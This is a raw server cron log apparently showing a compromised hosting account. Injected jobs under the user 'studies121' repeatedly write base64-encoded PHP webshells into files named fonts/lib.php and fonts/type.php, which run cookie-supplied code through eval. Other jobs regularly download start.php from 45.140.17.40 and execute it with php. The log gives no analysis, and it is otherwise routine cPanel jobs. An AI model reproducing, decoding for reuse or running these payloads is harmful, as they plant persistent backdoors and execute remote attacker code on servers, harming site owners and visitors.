Sep  9 22:07:01 ip-184-168-122-23 CROND[20643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:07:01 ip-184-168-122-23 CROND[20642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:08:01 ip-184-168-122-23 CROND[20808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:08:01 ip-184-168-122-23 CROND[20810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:08:01 ip-184-168-122-23 CROND[20813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:08:01 ip-184-168-122-23 CROND[20811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:08:01 ip-184-168-122-23 CROND[20812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:09:01 ip-184-168-122-23 CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:09:01 ip-184-168-122-23 CROND[20893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:09:01 ip-184-168-122-23 CROND[20896]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 22:09:01 ip-184-168-122-23 CROND[20898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:09:01 ip-184-168-122-23 CROND[20897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:10:01 ip-184-168-122-23 CROND[21020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:10:01 ip-184-168-122-23 CROND[21019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:10:01 ip-184-168-122-23 CROND[21021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:11:01 ip-184-168-122-23 CROND[21122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:11:01 ip-184-168-122-23 CROND[21124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:11:01 ip-184-168-122-23 CROND[21125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:11:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:12:01 ip-184-168-122-23 CROND[21211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:12:01 ip-184-168-122-23 CROND[21213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:12:01 ip-184-168-122-23 CROND[21216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:12:01 ip-184-168-122-23 CROND[21215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:12:01 ip-184-168-122-23 CROND[21214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:13:01 ip-184-168-122-23 CROND[21308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:13:01 ip-184-168-122-23 CROND[21310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:13:01 ip-184-168-122-23 CROND[21311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:13:01 ip-184-168-122-23 CROND[21312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:14:01 ip-184-168-122-23 CROND[21479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:14:01 ip-184-168-122-23 CROND[21481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:14:01 ip-184-168-122-23 CROND[21482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:14:01 ip-184-168-122-23 CROND[21483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:14:01 ip-184-168-122-23 CROND[21484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:15:01 ip-184-168-122-23 CROND[21581]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:15:01 ip-184-168-122-23 CROND[21585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:16:01 ip-184-168-122-23 CROND[21679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:16:02 ip-184-168-122-23 CROND[21681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:16:02 ip-184-168-122-23 CROND[21682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:16:02 ip-184-168-122-23 CROND[21683]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:16:02 ip-184-168-122-23 CROND[21684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:16:02 ip-184-168-122-23 CROND[21686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:17:01 ip-184-168-122-23 CROND[21776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:17:01 ip-184-168-122-23 CROND[21778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:17:01 ip-184-168-122-23 CROND[21780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:17:01 ip-184-168-122-23 CROND[21779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:18:01 ip-184-168-122-23 CROND[21873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:18:01 ip-184-168-122-23 CROND[21875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:18:01 ip-184-168-122-23 CROND[21876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:18:01 ip-184-168-122-23 CROND[21877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:18:01 ip-184-168-122-23 CROND[21878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:19:01 ip-184-168-122-23 CROND[21964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:19:01 ip-184-168-122-23 CROND[21965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
